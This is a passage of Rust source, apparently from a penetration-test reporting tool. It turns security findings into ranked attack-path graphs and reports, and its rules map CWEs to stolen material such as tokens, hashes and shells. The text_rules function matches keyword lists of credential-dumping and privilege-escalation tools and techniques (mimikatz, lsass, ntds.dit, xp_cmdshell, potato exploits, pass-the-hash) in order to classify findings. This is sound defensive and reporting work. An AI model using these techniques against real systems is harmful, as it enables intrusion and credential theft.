| 256 | 257 | 321 | 260 | 555 => { + add(&mut p.provides, &[PlaintextCredential, ApiKey, CertificateOrKey]); + } + 319 | 311 => add(&mut p.provides, &[SessionToken, PlaintextCredential]), + // Session handling. + 384 | 613 | 614 | 1004 | 539 | 488 => { + add(&mut p.provides, &[SessionToken]); + if matches!(s.cwe, 614 | 1004 | 539) { + add(&mut p.requires, &[SessionToken]); + } + } + // Rate limiting and resource control. + 307 | 770 | 799 | 400 | 1333 => { + add(&mut p.provides, &[UnlimitedAttempts]); + add(&mut p.requires, &[ValidIdentities]); + } + // Password policy. + 521 | 261 | 262 | 263 | 549 => { + add(&mut p.provides, &[WeakCredentials]); + add(&mut p.requires, &[ValidIdentities, UnlimitedAttempts]); + } + // Enumeration and observable discrepancies. + 200 | 203 | 204 | 208 => { + if s.says(&["account", "user", "email", "username", "enumerat"]) { + add(&mut p.provides, &[ValidIdentities]); + } + add(&mut p.provides, &[InternalKnowledge]); + } + // Information leakage. + 209 | 532 | 538 | 540 | 548 | 215 | 497 => { + add(&mut p.provides, &[InternalKnowledge, SecretsFile, SourceCode]); + } + // Mass assignment / improper state write. + 915 | 913 | 1287 => add(&mut p.provides, &[ApplicationAdmin, ApplicationIdentity]), + // Redirects and victim-driven flows. + 601 | 1021 => { + add(&mut p.requires, &[UserInteraction]); + add(&mut p.provides, &[SessionToken]); + } + // Privilege management. + 269 | 250 | 271 | 272 => { + add(&mut p.requires, &[ApplicationIdentity]); + add(&mut p.provides, &[ApplicationAdmin, HostAdmin]); + } + // Capture-replay / relay / certificate validation / signature checks. + 294 => add(&mut p.provides, &[PasswordHash, SessionToken]), + 295 | 297 | 299 => add(&mut p.provides, &[SessionToken, InternalKnowledge]), + 347 | 345 | 1270 => add(&mut p.provides, &[SessionToken, ApplicationIdentity]), + // Weak crypto / randomness: predictable tokens are session material. + 327 | 328 | 330 | 338 | 326 | 916 => add(&mut p.provides, &[SessionToken, WeakCredentials]), + // Default credentials. + 1392 | 1393 => add(&mut p.provides, &[PlaintextCredential, ApplicationAdmin, HostAdmin]), + // Request smuggling / cache poisoning / header injection: other users' + // requests and responses become attacker-controlled. + 444 | 113 | 93 | 644 => add(&mut p.provides, &[SessionToken, UserInteraction, ApplicationIdentity]), + // CORS and origin trust. + 942 | 346 | 1385 => add(&mut p.provides, &[DataAccess, SessionToken]), + _ => {} + } +} + +// --- What the evidence literally says ---------------------------------------- + +fn text_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.says(&["lsass", "mimikatz", "procdump", "comsvcs", "credential dump", "sam hive", "ntds.dit"]) { + add(&mut p.requires, &[HostAdmin]); + add(&mut p.provides, &[PasswordHash, PlaintextCredential]); + } + if s.says(&["keytab", "machine account", "computer account", "$ account"]) { + add(&mut p.requires, &[HostAdmin]); + add(&mut p.provides, &[MachineAccount, PasswordHash]); + } + if s.says(&["xp_cmdshell", "sp_oacreate", "ole automation", "clr assembly"]) { + add(&mut p.requires, &[DatabaseAdmin]); + add(&mut p.provides, &[CodeExecution, ShellOnHost]); + } + if s.says(&["seimpersonate", "potato", "juicypotato", "printspoofer", "setokenprivilege", "sedebugprivilege"]) { + add(&mut p.requires, &[ShellOnHost]); + add(&mut p.provides, &[HostAdmin]); + } + if s.says(&["webshell", "implant", "beacon", " rat ", "c2 agent", "reverse shell", "meterpreter", "payload loaded", "nodezero"]) { + add(&mut p.provides, &[Implant, ShellOnHost]); + } + if s.says(&["nt authority\\system", "uid=0", "root shell", "administrators group", "local administrator"]) { + add(&mut p.provides, &[HostAdmin]); + } + if s.says(&["domain admin", "enterprise admin", "domain administrator"]) { + add(&mut p.provides, &[DomainAdmin]); + } + if s.says(&["global administrator", "global admin", "tenant administrator"]) { + add(&mut p.provides, &[TenantAdmin]); + } + if s.says(&["process memory", "token theft", "stolen token", "access token extracted", "office process"]) { + add(&mut p.requires, &[HostAdmin]); + add(&mut p.provides, &[SessionToken, CloudToken]); + } + if s.says(&["pass-the-hash", "pass the hash", "pass-the-ticket", "kerberos authentication with", "ntlm authentication with"]) { + add(&mut p.requires, &[PasswordHash]); + add(&mut p.provides, &[DomainUser]); + } + if s.says(&["credential reuse", "same password", "password reuse", "reused credential", + "recovered credential", "discovered credential", "found credential", + "leaked credential", "stolen credential", "harvested credential", + "with the recovered", "with the discovered", "with the leaked"]) { + add(&mut p.requires, &[PlaintextCredential]); + add(&mut p.provides, &[ApplicationIdentity, ShellOnHost]); + } + if s.mitre.starts_with("T1557") || s.mitre.starts_with("T1110") { + add(&mut p.requires, &[ValidIdentities]); + } +} + +// --------------------------------------------------------------------------- +// The graph +// --------------------------------------------------------------------------- + +/// One node on the path: a weakness that was exploited, a piece of material it +/// produced, a session it opened, or the consequence a branch ends in. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Node { + pub id: String, + pub kind: NodeKind, + /// The headline, e.g. `CVE-2026-59310 vCenter Syslog Traversal`. + pub label: String, + /// The second line: host, account, artifact detail. + pub detail: String, + pub domain: Domain, + pub host: String, + pub realm: String, + /// The finding this node came from (empty for artifact/impact nodes that + /// several findings share). + pub finding_id: String, + pub severity: String, + pub artifact: Option, + /// Epoch seconds; 0 when the run did not record one. + pub at: u64, + /// Position on the rendered timeline. + pub step: usize, + /// Whether the step was validated rather than asserted. + pub proven: bool, + pub impacts: Vec, +} + +/// A dependency between two nodes, always carrying why it holds. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Edge { + pub from: String, + pub to: String, + pub via: Option, + pub reason: String, + /// Derived by these rules rather than asserted by an agent. + pub inferred: bool, +} + +/// The engagement as a graph of steps. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct AttackPathGraph { + pub target: String, + pub nodes: Vec, + pub edges: Vec, +} + +/// One route through the graph, start to consequence. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Path { + /// Node ids in order. + pub nodes: Vec, + /// How many exploited weaknesses it strings together. + pub steps: usize, + pub score: f64, + pub impacts: Vec, + /// Domains it crosses, in order of first appearance — the pivots. + pub domains: Vec, + /// Hosts it touches. + pub hosts: Vec, + pub narrative: String, +} + +const ENTRY: &str = "entry"; + +fn sev_weight(sev: &str) -> f64 { + match sev.to_ascii_lowercase().as_str() { + "critical" => 5.0, + "high" => 4.0, + "medium" => 2.0, + "low" => 1.0, + _ => 0.5, + } +} + +fn slug(s: &str) -> String { + s.chars() + .map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '_' }) + .collect::() + .trim_matches('_') + .to_string() +} + +fn short(s: &str, n: usize) -> String { + let t: String = s.chars().take(n).collect(); + if s.chars().count() > n { format!("{t}…") } else { t } +} + +/// Where an artifact lives, for node identity: a host-local artifact is a +/// different thing on each host, a realm artifact is one thing per realm, and a +/// portable one is a single thing the attacker carries. +fn artifact_scope_key(a: Artifact, loc: &Loc) -> String { + match reach(a) { + Reach::HostLocal => loc.host.clone(), + Reach::Realm => { + if loc.realm.is_empty() { loc.host.clone() } else { loc.realm.clone() } + } + Reach::Portable => String::new(), + } +} + +/// Build the path graph for a finished engagement. +/// +/// `loot` is the typed material the chaining rounds collected +/// (`cred:…`, `token:…`, `host:…`, `endpoint:…`); it is folded in so the +/// credentials an operator actually carried forward appear as nodes even when +/// no single finding reported them. +pub fn build(target: &str, findings: &[Finding], loot: &[String]) -> AttackPathGraph { + let mut g = AttackPathGraph { target: target.to_string(), nodes: Vec::new(), edges: Vec::new() }; + if findings.is_empty() { + return g; + } + let profiles: Vec = findings.iter().map(profile).collect(); + let locs: Vec = findings.iter().map(loc_of).collect(); + + // Order on the clock when the run recorded one, otherwise on discovery + // order. `order[i]` is the position of finding i in time. + let mut idx: Vec = (0..findings.len()).collect(); + idx.sort_by_key(|&i| (findings[i].observed_at, i)); + let mut order = vec![0usize; findings.len()]; + for (slot, &i) in idx.iter().enumerate() { + order[i] = slot; + } + + // 1. A node per exploited weakness. + for (i, f) in findings.iter().enumerate() { + let p = &profiles[i]; + let loc = &locs[i]; + g.nodes.push(Node { + id: format!("w{i}"), + kind: NodeKind::ExploitedWeakness, + label: short(if f.title.is_empty() { f.cwe.as_str() } else { f.title.as_str() }, 90), + detail: [f.cwe.as_str(), loc.host.as_str()].iter().filter(|s| !s.is_empty()).cloned().collect::>().join(" · "), + domain: p.domain, + host: loc.host.clone(), + realm: loc.realm.clone(), + finding_id: f.id.clone(), + severity: f.severity.clone(), + artifact: None, + at: f.observed_at, + step: order[i], + proven: f.validated && f.review_status != "needs-review", + impacts: p.impacts.clone(), + }); + } + + // 2. A node per distinct artifact a weakness produced, keyed by how far + // that artifact travels: one shell per host, one domain-admin hash per + // realm, one carried password everywhere. + let mut artifact_node: HashMap = HashMap::new(); + for (i, f) in findings.iter().enumerate() { + let loc = &locs[i]; + for a in &profiles[i].provides { + let Some(kind) = NodeKind::for_artifact(*a) else { continue }; + let key = format!("{:?}|{}|{i}", a, artifact_scope_key(*a, loc)); + let id = artifact_node.entry(key).or_insert_with(|| { + let id = format!("a{}", g.nodes.len()); + let scope = artifact_scope_key(*a, loc); + g.nodes.push(Node { + id: id.clone(), + kind, + label: title_case(a.as_str()), + detail: if scope.is_empty() { "carried by the attacker".into() } else { scope }, + domain: profiles[i].domain, + host: loc.host.clone(), + realm: loc.realm.clone(), + finding_id: String::new(), + severity: f.severity.clone(), + artifact: Some(*a), + at: f.observed_at, + step: order[i], + proven: f.validated, + impacts: impacts_of(*a).into_iter().collect(), + }); + id + }).clone(); + g.edges.push(Edge { + from: format!("w{i}"), + to: id, + via: Some(*a), + reason: format!("yields {}", a.as_str()), + inferred: true, + }); + } + } + + // 3. Consumption: a step that needs an artifact is linked to whatever + // produced one that could have reached it. + for (j, consumer) in findings.iter().enumerate() { + for need in &profiles[j].requires { + let mut linked = false; + for (i, producer) in findings.iter().enumerate() { + if i == j || !profiles[i].provides.contains(need) { + continue; + } + if !carries(*need, &locs[i], &locs[j]) { + continue; + } + // A weakness does not enable itself, and one instance of a + // class does not enable another instance of the same class. + if cwe_num(&producer.cwe) != 0 && cwe_num(&producer.cwe) == cwe_num(&consumer.cwe) { + continue; + } + // Time, when the run recorded it: a step cannot be enabled by + // one that happened later. + if producer.observed_at > 0 && consumer.observed_at > 0 && producer.observed_at > consumer.observed_at { + continue; + } + let from = match NodeKind::for_artifact(*need) { + Some(_) => artifact_node + .get(&format!("{:?}|{}|{i}", need, artifact_scope_key(*need, &locs[i]))) + .cloned() + .unwrap_or_else(|| format!("w{i}")), + None => format!("w{i}"), + }; + let to = format!("w{j}"); + if from == to || g.edges.iter().any(|e| e.from == from && e.to == to && e.via == Some(*need)) { + continue; + } + let pivot = locs[i].host != locs[j].host && !locs[i].host.is_empty() && !locs[j].host.is_empty(); + g.edges.push(Edge { + from, + to, + via: Some(*need), + reason: if pivot { + format!("{} carried from {} to {}", need.as_str(), locs[i].host, locs[j].host) + } else { + format!("{} used against {}", need.as_str(), short(&consumer.title, 48)) + }, + inferred: true, + }); + linked = true; + } + let _ = linked; + } + } + + // 4. Loot the chaining rounds carried forward but no finding reported. + fold_loot(&mut g, loot, &mut artifact_node); + + // 5. Impact terminals. + let mut impact_node: BTreeMap = BTreeMap::new(); + let sources: Vec<(String, Vec, usize)> = + g.nodes.iter().map(|n| (n.id.clone(), n.impacts.clone(), n.step)).collect(); + for (id, impacts, step) in sources { + for im in impacts { + let node_id = impact_node.entry(im).or_insert_with(|| { + let nid = format!("i{}", slug(im.as_str())); + g.nodes.push(Node { + id: nid.clone(), + kind: NodeKind::Impact, + label: im.as_str().to_string(), + detail: String::new(), + domain: Domain::Web, + host: String::new(), + realm: String::new(), + finding_id: String::new(), + severity: "Critical".into(), + artifact: None, + at: 0, + step, + proven: true, + impacts: vec![im], + }); + nid + }).clone(); + if !g.edges.iter().any(|e| e.from == id && e.to == node_id) { + g.edges.push(Edge { from: id.clone(), to: node_id, via: None, reason: im.as_str().to_string(), inferred: true }); + } + } + } + + // 6. An entry node, so every path has a start to be read from. + let has_incoming: BTreeSet = g.edges.iter().map(|e| e.to.clone()).collect(); + let roots: Vec = g + .nodes + .iter() + .filter(|n| n.kind == NodeKind::ExploitedWeakness && !has_incoming.contains(&n.id)) + .map(|n| n.id.clone()) + .collect(); + if !roots.is_empty() { + g.nodes.insert(0, Node { + id: ENTRY.into(), + kind: NodeKind::Entry, + label: "Attacker".into(), + detail: target.to_string(), + domain: Domain::Web, + host: String::new(), + realm: String::new(), + finding_id: String::new(), + severity: "Info".into(), + artifact: None, + at: 0, + step: 0, + proven: true, + impacts: Vec::new(), + }); + for r in roots { + g.edges.push(Edge { from: ENTRY.into(), to: r, via: None, reason: "starting position".into(), inferred: true }); + } + } + g.renumber_steps(); + g +} + +fn title_case(s: &str) -> String { + let mut c = s.chars(); + match c.next() { + Some(f) => f.to_uppercase().collect::() + c.as_str(), + None => String::new(), + } +} + +/// Fold the chain rounds' loot (`cred:…`, `token:…`, `host:…`, `endpoint:…`) +/// into the graph as material the attacker carried. +fn fold_loot(g: &mut AttackPathGraph, loot: &[String], artifact_node: &mut HashMap) { + for item in loot { + let (prefix, rest) = item.split_once(':').unwrap_or(("", item.as_str())); + let (artifact, kind) = match prefix.trim().to_lowercase().as_str() { + "cred" | "credential" | "password" => (Artifact::PlaintextCredential, NodeKind::DiscoveredCredential), + "hash" | "ntlm" => (Artifact::PasswordHash, NodeKind::DiscoveredCredential), + "token" | "jwt" | "session" => (Artifact::SessionToken, NodeKind::CompromisedCredential), + "key" | "apikey" | "api_key" => (Artifact::ApiKey, NodeKind::DiscoveredCredential), + "host" => (Artifact::InternalReach, NodeKind::AccessedResource), + "endpoint" | "url" | "share" | "file" => (Artifact::DataAccess, NodeKind::AccessedResource), + _ => continue, + }; + let key = format!("loot|{:?}|{}", artifact, rest.trim()); + if artifact_node.contains_key(&key) { + continue; + } + let id = format!("l{}", g.nodes.len()); + artifact_node.insert(key, id.clone()); + g.nodes.push(Node { + id, + kind, + label: title_case(artifact.as_str()), + detail: short(rest.trim(), 60), + domain: Domain::Network, + host: String::new(), + realm: String::new(), + finding_id: String::new(), + severity: "Info".into(), + artifact: Some(artifact), + at: 0, + step: 0, + proven: true, + impacts: impacts_of(artifact).into_iter().collect(), + }); + } +} + +impl AttackPathGraph { + /// Lay the nodes out in dependency order so the timeline reads left to + /// right even when the run recorded no clock: a node sits one slot after + /// the latest thing that feeds it. + fn renumber_steps(&mut self) { + let ids: Vec = self.nodes.iter().map(|n| n.id.clone()).collect(); + let pos: HashMap<&str, usize> = ids.iter().enumerate().map(|(i, s)| (s.as_str(), i)).collect(); + let mut incoming: Vec> = vec![Vec::new(); self.nodes.len()]; + for e in &self.edges { + if let (Some(&a), Some(&b)) = (pos.get(e.from.as_str()), pos.get(e.to.as_str())) { + incoming[b].push(a); + } + } + // Longest-path layering, with a bounded number of relaxation rounds so + // a cycle introduced by contradictory evidence cannot hang the run. + let mut depth = vec![0usize; self.nodes.len()]; + for _ in 0..self.nodes.len().min(64) { + let mut changed = false; + for i in 0..self.nodes.len() { + let want = incoming[i].iter().map(|&a| depth[a] + 1).max().unwrap_or(0); + if want > depth[i] && want < 256 { + depth[i] = want; + changed = true; + } + } + if !changed { + break; + } + } + for (i, n) in self.nodes.iter_mut().enumerate() { + n.step = depth[i]; + } + } + + pub fn node(&self, id: &str) -> Option<&Node> { + self.nodes.iter().find(|n| n.id == id) + } + + fn out_edges(&self, id: &str) -> Vec<&Edge> { + self.edges.iter().filter(|e| e.from == id).collect() + } + + /// Every maximal route through the graph, best first. + /// + /// "Best" is what an operator briefs: how far it gets (the impact it ends + /// in), how much it proves on the way, and how many planes it crosses — a + /// path that starts on a web form and ends in a directory is worth more + /// than a longer one that never leaves the application. + pub fn paths(&self, top: usize) -> Vec { + let starts: Vec<&Node> = if self.nodes.iter().any(|n| n.id == ENTRY) { + self.nodes.iter().filter(|n| n.id == ENTRY).collect() + } else { + let has_in: BTreeSet<&str> = self.edges.iter().map(|e| e.to.as_str()).collect(); + self.nodes.iter().filter(|n| !has_in.contains(n.id.as_str())).collect() + }; + let mut out: Vec = Vec::new(); + let mut budget = 20_000usize; + for s in starts { + let mut trail: Vec = vec![s.id.clone()]; + let mut seen: BTreeSet = BTreeSet::new(); + seen.insert(s.id.clone()); + self.walk(&s.id, &mut trail, &mut seen, &mut out, &mut budget); + } + // Drop a path that is a prefix of another: only maximal routes are + // worth printing, and the prefixes are already inside them. + out.sort_by(|a, b| b.nodes.len().cmp(&a.nodes.len())); + let mut kept: Vec = Vec::new(); + for p in out { + if kept.iter().any(|k: &Path| k.nodes.len() >= p.nodes.len() && k.nodes.starts_with(&p.nodes)) { + continue; + } + kept.push(p); + } + kept.sort_by(|a, b| b.score.partial_cmp(&a.score).unwrap_or(std::cmp::Ordering::Equal)); + // One weakness that yields four kinds of material is one path, not + // four. Routes that exploit the same sequence of weaknesses collapse + // into the highest-scoring one, so the top of the list is different + // attacks rather than the same attack's branches. + let mut by_weaknesses: Vec<(String, Path)> = Vec::new(); + for p in kept { + let sig = p + .nodes + .iter() + .filter_map(|id| self.node(id)) + .filter(|n| n.kind == NodeKind::ExploitedWeakness) + .map(|n| n.id.as_str()) + .collect::>() + .join(">"); + if by_weaknesses.iter().any(|(s, _)| *s == sig) { + continue; + } + by_weaknesses.push((sig, p)); + } + // Diversity: a list whose first three entries are the same attack + // missing one hop tells an operator nothing they did not learn from + // the first. A path is only added when it exploits a materially + // different set of weaknesses than everything already chosen; if that + // leaves room, the near-duplicates fill it. + let ranked: Vec = by_weaknesses.into_iter().map(|(_, p)| p).collect(); + let weaknesses = |p: &Path| -> BTreeSet { + p.nodes + .iter() + .filter_map(|id| self.node(id)) + .filter(|n| n.kind == NodeKind::ExploitedWeakness) + .map(|n| n.id.clone()) + .collect() + }; + let mut out: Vec = Vec::new(); + let mut chosen: Vec> = Vec::new(); + for p in &ranked { + if out.len() >= top { + break; + } + let w = weaknesses(p); + let overlaps = chosen.iter().any(|c| { + let inter = w.intersection(c).count() as f64; + let union = w.union(c).count().max(1) as f64; + inter / union > 0.6 + }); + if overlaps { + continue; + } + chosen.push(w); + out.push(p.clone()); + } + for p in ranked { + if out.len() >= top { + break; + } + if !out.iter().any(|k| k.nodes == p.nodes) { + out.push(p); + } + } + out + } + + fn walk(&self, at: &str, trail: &mut Vec, seen: &mut BTreeSet, out: &mut Vec, budget: &mut usize) { + if *budget == 0 { + return; + } + *budget -= 1; + let next: Vec<&Edge> = self.out_edges(at).into_iter().filter(|e| !seen.contains(&e.to)).collect(); + if next.is_empty() { + if trail.len() > 1 { + out.push(self.describe(trail)); + } + return; + } + for e in next { + trail.push(e.to.clone()); + seen.insert(e.to.clone()); + self.walk(&e.to, trail, seen, out, budget); + seen.remove(&e.to); + trail.pop(); + } + } + + fn describe(&self, trail: &[String]) -> Path { + let nodes: Vec<&Node> = trail.iter().filter_map(|id| self.node(id)).collect(); + let steps = nodes.iter().filter(|n| n.kind == NodeKind::ExploitedWeakness).count(); + let mut impacts: Vec = nodes.iter().flat_map(|n| n.impacts.clone()).collect(); + impacts.sort(); + impacts.dedup(); + let mut domains: Vec = Vec::new(); + for n in &nodes { + if n.kind == NodeKind::ExploitedWeakness && !domains.contains(&n.domain) { + domains.push(n.domain); + } + } + let mut hosts: Vec = Vec::new(); + for n in &nodes { + if !n.host.is_empty() && !hosts.contains(&n.host) { + hosts.push(n.host.clone()); + } + } + let proven = nodes.iter().filter(|n| n.kind == NodeKind::ExploitedWeakness && n.proven).count() as f64; + let score = nodes.iter().filter(|n| n.kind == NodeKind::ExploitedWeakness).map(|n| sev_weight(&n.severity)).sum::() + + impacts.iter().map(|i| i.weight()).sum::() + + (domains.len().saturating_sub(1) as f64) * 3.0 + + (hosts.len().saturating_sub(1) as f64) * 2.0 + + proven; + Path { + nodes: trail.to_vec(), + steps, + score, + impacts, + domains, + hosts, + narrative: narrate(&nodes, self), + } + } + + /// Mermaid, laid out on the run's timeline: one column per step, node + /// shapes and classes per kind, impacts in red at the ends. + pub fn mermaid(&self) -> String { + let mut s = String::from("flowchart LR\n"); + let mut by_step: BTreeMap> = BTreeMap::new(); + for n in &self.nodes { + by_step.entry(n.step).or_default().push(n); + } + let t0 = self.nodes.iter().map(|n| n.at).filter(|a| *a > 0).min().unwrap_or(0); + for (step, nodes) in &by_step { + let label = match nodes.iter().map(|n| n.at).filter(|a| *a > 0).min() { + Some(at) if t0 > 0 => format!("T+{}", hhmmss(at.saturating_sub(t0))), + _ => format!("step {step}"), + }; + s.push_str(&format!(" subgraph s{step}[\"{label}\"]\n")); + for n in nodes { + let text = if n.detail.is_empty() { + mm(&n.label) + } else { + format!("{}
{}", mm(&n.label), mm(&n.detail)) + }; + let body = match n.kind { + NodeKind::Entry => format!("{}((\"{}\"))", n.id, text), + NodeKind::Impact => format!("{}[[\"{}\"]]", n.id, text), + NodeKind::DiscoveredCredential | NodeKind::CompromisedCredential => format!("{}[/\"{}\"/]", n.id, text), + NodeKind::LoadedImplant => format!("{}{{{{\"{}\"}}}}", n.id, text), + NodeKind::EstablishedSession => format!("{}([\"{}\"])", n.id, text), + NodeKind::AccessedResource => format!("{}[(\"{}\")]", n.id, text), + NodeKind::ExploitedWeakness => format!("{}[\"{}\"]", n.id, text), + }; + s.push_str(&format!(" {body}\n")); + } + s.push_str(" end\n"); + } + for e in &self.edges { + match &e.via { + Some(a) => s.push_str(&format!(" {} -->|{}| {}\n", e.from, mm(a.as_str()), e.to)), + None => s.push_str(&format!(" {} --> {}\n", e.from, e.to)), + } + } + s.push_str(" classDef weakness fill:#2a1a1a,stroke:#b33,color:#eee;\n"); + s.push_str(" classDef cred fill:#1a1f2a,stroke:#59f,color:#eee;\n"); + s.push_str(" classDef impact fill:#3a0d0d,stroke:#f55,color:#fff,font-weight:bold;\n"); + s.push_str(" classDef implant fill:#2a1a2a,stroke:#b5f,color:#eee;\n"); + for n in &self.nodes { + let class = match n.kind { + NodeKind::ExploitedWeakness => "weakness", + NodeKind::DiscoveredCredential | NodeKind::CompromisedCredential => "cred", + NodeKind::Impact => "impact", + NodeKind::LoadedImplant => "implant", + _ => continue, + }; + s.push_str(&format!(" class {} {};\n", n.id, class)); + } + s + } + + /// The same thing for a terminal. + pub fn ascii(&self, top: usize) -> String { + let paths = self.paths(top); + if paths.is_empty() { + return "no chained attack path: every finding stands on its own\n".into(); + } + let mut s = String::new(); + for (i, p) in paths.iter().enumerate() { + s.push_str(&format!( + "\nPATH {} — {} step(s), {} domain(s), {} host(s), score {:.1}\n", + i + 1, + p.steps, + p.domains.len(), + p.hosts.len().max(1), + p.score + )); + if !p.impacts.is_empty() { + s.push_str(&format!(" ends in: {}\n", p.impacts.iter().map(|i| i.as_str()).collect::>().join(" · "))); + } + for (k, id) in p.nodes.iter().enumerate() { + let Some(n) = self.node(id) else { continue }; + let arm = if k == 0 { " ┌─" } else { " ├─" }; + let tag = match n.kind { + NodeKind::Entry => "start", + NodeKind::ExploitedWeakness => "exploit", + NodeKind::DiscoveredCredential => "cred found", + NodeKind::CompromisedCredential => "cred used", + NodeKind::AccessedResource => "resource", + NodeKind::LoadedImplant => "implant", + NodeKind::EstablishedSession => "session", + NodeKind::Impact => "IMPACT", + }; + let detail = if n.detail.is_empty() { String::new() } else { format!(" ({})", n.detail) }; + s.push_str(&format!("{arm} [{tag}] {}{detail}\n", short(&n.label, 78))); + } + } + s + } + + pub fn json(&self) -> String { + serde_json::to_string_pretty(self).unwrap_or_else(|_| "{}".into()) + } + + /// A Markdown section for the report: the ranked paths, their narratives, + /// and the graph. + pub fn markdown(&self, top: usize) -> String { + let paths = self.paths(top); + let mut s = String::from("## Attack paths\n\n"); + if paths.is_empty() { + s.push_str("No finding in this engagement enabled another: each one stands alone.\n\n"); + return s; + } + s.push_str( + "Each path below is a sequence that was proven step by step: a weakness yields material \ + (a credential, a token, a session, a foothold), and the next step consumes it. A link is \ + drawn only when the material could actually travel that far — host-local access stays on \ + its host, directory and tenant material moves inside its realm, and credentials move \ + anywhere, because people reuse them.\n\n", + ); + for (i, p) in paths.iter().enumerate() { + s.push_str(&format!("### Path {} — {}\n\n", i + 1, + if p.impacts.is_empty() { "chained impact".to_string() } else { p.impacts.iter().map(|i| i.as_str()).collect::>().join(" + ") })); + s.push_str(&format!( + "*{} exploited weakness(es) · {} domain(s): {} · {} host(s)*\n\n", + p.steps, + p.domains.len(), + p.domains.iter().map(|d| d.as_str()).collect::>().join(", "), + p.hosts.len().max(1) + )); + s.push_str(&p.narrative); + s.push_str("\n\n"); + for (k, id) in p.nodes.iter().enumerate() { + let Some(n) = self.node(id) else { continue }; + if n.kind == NodeKind::Entry { + continue; + } + let fid = if n.finding_id.is_empty() { String::new() } else { format!(" `{}`", n.finding_id) }; + s.push_str(&format!("{}. **{}** — {}{}\n", k, n.kind.as_str(), n.label, fid)); + } + s.push('\n'); + } + s.push_str("### Graph\n\n```mermaid\n"); + s.push_str(&self.mermaid()); + s.push_str("```\n\n"); + s + } +} + +fn hhmmss(secs: u64) -> String { + format!("{:02}:{:02}:{:02}", secs / 3600, (secs % 3600) / 60, secs % 60) +} + +/// Mermaid label escaping: quotes and pipes end a label early. +fn mm(s: &str) -> String { + s.replace('"', "'").replace('|', "/").replace('[', "(").replace(']', ")") +} + +/// The path as a sentence an operator can read aloud. +fn narrate(nodes: &[&Node], g: &AttackPathGraph) -> String { + let mut parts: Vec = Vec::new(); + for (i, n) in nodes.iter().enumerate() { + if n.kind == NodeKind::Entry { + continue; + } + let via = if i > 0 { + g.edges + .iter() + .find(|e| e.from == nodes[i - 1].id && e.to == n.id) + .and_then(|e| e.via) + .map(|a| format!(" using {}", a.as_str())) + .unwrap_or_default() + } else { + String::new() + }; + let where_ = if n.host.is_empty() { String::new() } else { format!(" on {}", n.host) }; + parts.push(match n.kind { + NodeKind::ExploitedWeakness => format!("{}{}{}", short(&n.label, 70), where_, via), + NodeKind::Impact => format!("which is {}", n.label), + _ => format!("{}{}", n.label.to_lowercase(), where_), + }); + } + parts.join(" → ") +} + +// --------------------------------------------------------------------------- +// Writing the result back onto the findings +// --------------------------------------------------------------------------- + +/// A derived producer→consumer link between two findings, with the artifact +/// that justifies it. +#[derive(Debug, Clone, Copy, PartialEq)] +pub struct FindingLink { + pub from: usize, + pub to: usize, + pub via: Artifact, + /// The link leaves the host it started on, carried by portable or + /// realm-wide material. + pub pivot: bool, +} + +/// Derive every enablement link across a finding set, across all domains. +pub fn links(findings: &[Finding]) -> Vec { + let profiles: Vec = findings.iter().map(profile).collect(); + let locs: Vec = findings.iter().map(loc_of).collect(); + let mut out: Vec = Vec::new(); + for (j, consumer) in findings.iter().enumerate() { + for need in &profiles[j].requires { + for (i, producer) in findings.iter().enumerate() { + if i == j || !profiles[i].provides.contains(need) { + continue; + } + if !carries(*need, &locs[i], &locs[j]) { + continue; + } + if cwe_num(&producer.cwe) != 0 && cwe_num(&producer.cwe) == cwe_num(&consumer.cwe) { + continue; + } + if !producer.id.is_empty() && producer.id == consumer.id { + continue; + } + if producer.observed_at > 0 && consumer.observed_at > 0 && producer.observed_at > consumer.observed_at { + continue; + } + let pivot = locs[i].host != locs[j].host; + if out.iter().any(|l| l.from == i && l.to == j && l.via == *need) { + continue; + } + out.push(FindingLink { from: i, to: j, via: *need, pivot }); + } + } + } + out +} + +/// Could material produced by `src` legitimately have reached `dst`? +/// +/// `chain::repair` deletes any link whose two findings sit on different hosts, +/// which is right for an application-local condition and wrong for a stolen +/// hash — this is the exception it consults before dropping one. +pub fn portable_link(src: &Finding, dst: &Finding) -> bool { + let (ps, pd) = (profile(src), profile(dst)); + let (ls, ld) = (loc_of(src), loc_of(dst)); + pd.requires.iter().any(|need| ps.provides.contains(need) && carries(*need, &ls, &ld)) +} + +/// Write derived links into `chains_from`, keeping what agents asserted. +/// +/// `chain::apply_links` fills the same field from the web-local rules and runs +/// first; this adds the links those rules cannot see — the ones that cross a +/// host, a protocol or an identity plane, which is where an engagement's real +/// paths live. Each finding keeps at most `MAX_SOURCES` causes so a report +/// stays readable: the nearest and most severe are kept. +pub fn apply(findings: &mut [Finding]) -> usize { + const MAX_SOURCES: usize = 4; + let derived = links(findings); + let ids: Vec = findings.iter().map(|f| f.id.clone()).collect(); + let sev: Vec = findings.iter().map(|f| sev_weight(&f.severity)).collect(); + let mut written = 0usize; + for (j, f) in findings.iter_mut().enumerate() { + let mut candidates: Vec<(usize, f64)> = derived + .iter() + .filter(|l| l.to == j) + .map(|l| (l.from, sev[l.from] + if l.pivot { 2.0 } else { 0.0 })) + .collect(); + candidates.sort_by(|a, b| b.1.partial_cmp(&a.1).unwrap_or(std::cmp::Ordering::Equal)); + let mut added = false; + for (i, _) in candidates { + let Some(id) = ids.get(i).filter(|s| !s.is_empty()) else { continue }; + if f.chains_from.len() >= MAX_SOURCES { + break; + } + if f.chains_from.iter().any(|s| s == id) || *id == f.id { + continue; + } + f.chains_from.push(id.clone()); + added = true; + } + if added { + written += 1; + } + } + written +} + +/// A one-line summary for the run log. +pub fn summary(g: &AttackPathGraph) -> String { + let paths = g.paths(3); + let weaknesses = g.nodes.iter().filter(|n| n.kind == NodeKind::ExploitedWeakness).count(); + let creds = g + .nodes + .iter() + .filter(|n| matches!(n.kind, NodeKind::DiscoveredCredential | NodeKind::CompromisedCredential)) + .count(); + let impacts: BTreeSet<&str> = g.nodes.iter().filter(|n| n.kind == NodeKind::Impact).map(|n| n.label.as_str()).collect(); + match paths.first() { + Some(best) => format!( + "{} step(s) · {} credential node(s) · {} path(s) · longest {} step(s) across {} domain(s){}", + weaknesses, + creds, + paths.len(), + best.steps, + best.domains.len(), + if impacts.is_empty() { String::new() } else { format!(" — {}", 